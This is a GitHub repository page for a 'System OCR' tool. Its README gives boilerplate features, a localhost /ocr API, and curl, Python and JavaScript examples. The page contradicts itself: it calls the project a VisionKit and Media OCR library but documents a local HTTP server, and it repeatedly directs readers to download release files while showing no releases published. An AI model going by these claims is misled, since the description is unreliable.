Skip to content

This repository offers a simple OCR library that leverages system APIs like VisionKit and Media OCR for accurate text recognition. Check out the examples and start integrating with ease! πŸ™βœ¨

License

Notifications You must be signed in to change notification settings

abhijoshi03/system-ocr

Repository files navigation

System OCR πŸ–₯οΈπŸ“„

Welcome to the System OCR repository! This project provides an OCR (Optical Character Recognition) API through the system API. With this tool, you can easily convert images of text into machine-readable text. This document will guide you through the setup, usage, and features of the System OCR API.

Download Releases

Table of Contents

Introduction

Optical Character Recognition (OCR) is a technology that converts different types of documents, such as scanned paper documents, PDFs, or images captured by a digital camera, into editable and searchable data. The System OCR project provides an easy-to-use API that leverages system capabilities to perform OCR tasks efficiently.

Features

  • Simple API: Easy to integrate into existing applications.
  • High Accuracy: Utilizes advanced algorithms to ensure text recognition is accurate.
  • Multi-format Support: Works with various image formats, including JPEG, PNG, and TIFF.
  • Lightweight: Minimal system requirements for installation.
  • Customizable: Options to tweak settings for specific use cases.

Installation

To get started with System OCR, you need to download the latest release from our Releases section.

  1. Go to the Releases section.
  2. Download the latest release suitable for your operating system.
  3. Extract the files to your desired location.
  4. Follow the instructions in the README file included in the release.

Usage

Once you have installed the System OCR, you can start using the API.

Basic Workflow

  1. Input Image: Provide an image containing the text you want to extract.
  2. API Call: Send a request to the OCR API with the image.
  3. Receive Output: The API will return the extracted text in a readable format.

Example Request

Here’s a simple example of how to make a request to the API:

curl -X POST http://localhost:5000/ocr \
  -F "image=@path/to/your/image.jpg"

Example Response

The API will return a JSON response like this:

{
  "status": "success",
  "data": {
    "text": "This is the extracted text from the image."
  }
}

API Endpoints

The System OCR API provides the following endpoints:

1. /ocr

  • Method: POST
  • Description: Accepts an image file and returns the extracted text.
  • Parameters:
    • image: The image file to process.

2. /health

  • Method: GET
  • Description: Checks the status of the OCR service.
  • Response:
    • status: Indicates if the service is running.

Examples

Here are some practical examples of how to use the System OCR API in different programming languages.

Python Example

import requests

url = "http://localhost:5000/ocr"
files = {'image': open('path/to/your/image.jpg', 'rb')}
response = requests.post(url, files=files)

print(response.json())

JavaScript Example

const axios = require('axios');
const fs = require('fs');

const formData = new FormData();
formData.append('image', fs.createReadStream('path/to/your/image.jpg'));

axios.post('http://localhost:5000/ocr', formData, {
    headers: formData.getHeaders()
})
.then(response => {
    console.log(response.data);
})
.catch(error => {
    console.error(error);
});

Contributing

We welcome contributions to the System OCR project. If you have suggestions for improvements or new features, please follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push your branch to your forked repository.
  5. Open a pull request.

Please ensure your code adheres to our coding standards and includes appropriate tests.

License

This project is licensed under the MIT License. See the LICENSE file for more details.

Contact

For any questions or feedback, please reach out to us via the Issues section on GitHub or contact the repository owner directly.

Download Releases

Thank you for using System OCR! We hope you find it useful for your OCR needs.

About

This repository offers a simple OCR library that leverages system APIs like VisionKit and Media OCR for accurate text recognition. Check out the examples and start integrating with ease! πŸ™βœ¨

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •